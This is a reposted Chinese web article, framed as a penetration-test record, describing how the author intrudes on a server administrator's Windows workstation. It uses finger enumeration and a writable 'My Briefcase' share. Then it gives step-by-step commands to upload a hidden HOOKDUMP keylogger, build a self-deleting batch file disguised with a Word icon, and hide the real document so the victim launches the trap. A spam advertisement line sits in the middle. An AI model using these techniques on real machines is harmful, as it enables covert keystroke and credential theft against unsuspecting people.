入侵Linux操作系统实例

首页

网络安全

入侵Linux操作系统实例

热心网友

转载

2026-04-19

一次基于共享配置疏忽的渗透测试记录：从信息收集到权限获取

在对目标网站进行初步侦察时，我发现其Finger服务处于开启状态。这是一个常见的信息泄露点，我立即编写脚本尝试枚举系统账号——从aaa到zzz进行遍历。这里分享一个渗透测试中的经验：账号名称的长度往往与其密码复杂度存在潜在关联。简短的账号名通常对应较弱的密码策略，而较长的账号名则可能意味着更严格的安全设置，这几乎成为许多系统管理员无意识遵循的“潜规则”。遗憾的是，本次枚举未能发现有效凭证。不过，我的注意力很快被目标开放的另一个关键端口吸引：WWW服务。面对一个暴露在公网的Web应用，我坚信其中必然存在可供利用的安全薄弱点。

免费影视、动漫、音乐、游戏、小说资源长期稳定更新！ 👉 点此立即查看 👈

为了全面评估其安全性，我动用了五款不同的CGI及Web应用漏洞扫描器，覆盖了三四百种常见的配置错误与已知漏洞类型。扫描结果却令人意外——目标系统表现出异常的坚固性，几乎不存在这些常规的低风险漏洞。既然常规路径受阻，我决定转换思路，从关键用户信息入手，寻找新的突破口。

信息收集与关键发现：定位管理员工作站

通过执行 finger root@xxx.xxx.xxx 命令，我获得了root用户的详细信息：

　　Directory: / Shell: /bin/sh

　　Last login Fri Jul 28 09:21 on ttyp0 from 202.xx.xx.xx

　　No Plan.

信息显示，root账户最近一次登录来自IP地址202.xx.xx.xx。这个IP极有可能是管理员日常使用的工作站，成为了本次渗透测试的新目标。那么，从这台暴露的管理终端上，我们能发现什么安全疏忽呢？

一个简单的 net view \202.xx.xx.xx 命令带来了关键转机。结果显示，这台工作站启用了Windows的“文件和打印机共享”服务。许多用户，甚至包括部分技术人员，都容易低估这个便利功能带来的安全风险，而这位root管理员显然也未能例外。

Shared resources at \202.xx.xx.xx 　

Sharename Type Comment

我的公文包

The command was completed successfully.

虽然共享列表中未出现系统根分区（如C盘、D盘），且标记为“x”的文件夹均为只读权限（其中存放了一些英文原著，可见管理员素养不错），但一个名为“我的公文包”的共享项格外引人注目。这个Windows内置工具常用于在多设备间同步文件。可以合理推断，root管理员需要频繁更新服务器上的网站内容，有时在个人工作站编辑，有时直接在服务器操作……而最关键的安全隐患在于：为了同步便利，“我的公文包”的共享权限往往被设置为“可写入”。这为后续的渗透提供了可能。

利用可写共享布设陷阱：社会工程学与权限维持

是时候进行深入探查了。我首先将该共享目录映射为本地磁盘I:，并测试写入权限：

　　>net use i: \202.xx.xx.xx

　　>i:

　　>echo asdf>temp.txt

写入测试成功，确认了可写权限。

　　>del temp.txt

清除测试痕迹——这是渗透测试中的基本职业素养。

接着，使用 dir/od/p 命令仔细分析目录内容。在文件列表的倒数第二行，一个名为“X月工作计划.doc”的文件引起了我的注意。作为一份“工作计划”，它不可能是静态文件，管理员极有可能在未来再次打开它——至少在下个月制定新计划时，会参考或复用此文档。

机会出现了。我的策略是，在其下次尝试打开这份文档时，诱使其执行我预先隐藏的监控程序。本次我选择使用一款相对低调的键盘记录软件HOOKDUMP。它具备多项优势：不仅能记录所有击键内容，还能捕获打开/关闭了哪些应用程序、点击过什么按钮、使用过什么菜单……其记录详尽程度，几乎等同于实时旁观整个操作过程。为何不选用更知名的远程控制木马呢？原因在于，无论是本土的冰河、网络精灵，还是国外的NetBus、BO，都早已被主流杀毒软件列入重点查杀名单。而一位root管理员的机器上，极有可能部署了安全软件。相比之下，HOOKDUMP体积小巧、行为隐蔽。当然，任何工具一旦流行，其免杀效果就会下降。

首先，将预先配置好的HOOKDUMP程序文件上传至共享目录：

　　>copy hookdump.* i:

需要说明的是，上传前已配置好hookdump.ini文件，将其设置为隐藏模式运行。否则，管理员运行时弹出明显窗口，会导致行动立即暴露。

接下来，在本地编写一个同名的批处理文件：“X月工作计划.BAT”。

　　>edit c:X月工作计划.BAT

　　@echo off

　　hookdump

　　attrib -h X月工作计划.doc

　　C:Program FilesMicrosoftOfficeWinword X月工作计划.doc

　　attrib -h temp.bat

　　del temp.pif

　　del temp.bat

这个批处理文件的逻辑是：先静默运行监控程序，然后调用Word打开管理员真正想查看的DOC文档，最后进行自我清理。即使因其机器上Word安装路径不同导致调用失败，批处理文件也会自动删除，管理员很可能将其视为一次普通的操作失误，不会深入追究。

现在，我的C盘根目录下有了这个BAT文件。但其默认的方形图标与Word文档图标差异明显，管理员不会轻易点击。解决方法很简单：在文件上点击右键，选择“属性”，在“程序”选项卡中“更改图标”。Word图标通常位于 C:Program FilesMicrosoftOffice 目录下。同时，需将“运行”方式改为“最小化”，并勾选“退出时关闭”，以确保运行时窗口完全不可见，不留任何痕迹。此操作会生成两个文件：BAT文件本身和一个与之关联的PIF文件（即我们更改图标后的快捷方式）。

将这两个伪装好的文件上传至共享目录：

　　>copy X月工作计划.bat i:

　　>copy X月工作计划.pif i:

然后，将原始文档和我们上传的BAT文件隐藏起来：

　　>attrib +h X月工作计划.doc

　　>attrib +h X月工作计划.bat

至此，管理员的“公文包”共享目录中，仅剩下一个与原始文档外观完全一致的“Word文档”图标。他很难意识到，这个图标背后已经关联了一个批处理脚本。所有准备工作就绪，接下来便是耐心的等待。